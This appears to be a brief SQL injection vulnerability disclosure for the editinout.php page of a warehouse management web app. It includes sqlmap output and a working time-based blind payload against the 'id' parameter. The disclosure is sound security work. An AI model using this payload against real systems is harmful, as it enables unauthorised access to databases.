SQL injection in <http://localhost/wms/src/basic/editinout.php>

```
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 86 HTTP(s) requests:
---
Parameter: id (GET)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: id=1' AND SLEEP(5) AND 'JtVE'='JtVE
---
[16:15:50] [INFO] the back-end DBMS is MySQL
```

The GET parameter "id" is passed without filtering to SQL sentence which causes the vulnerability.
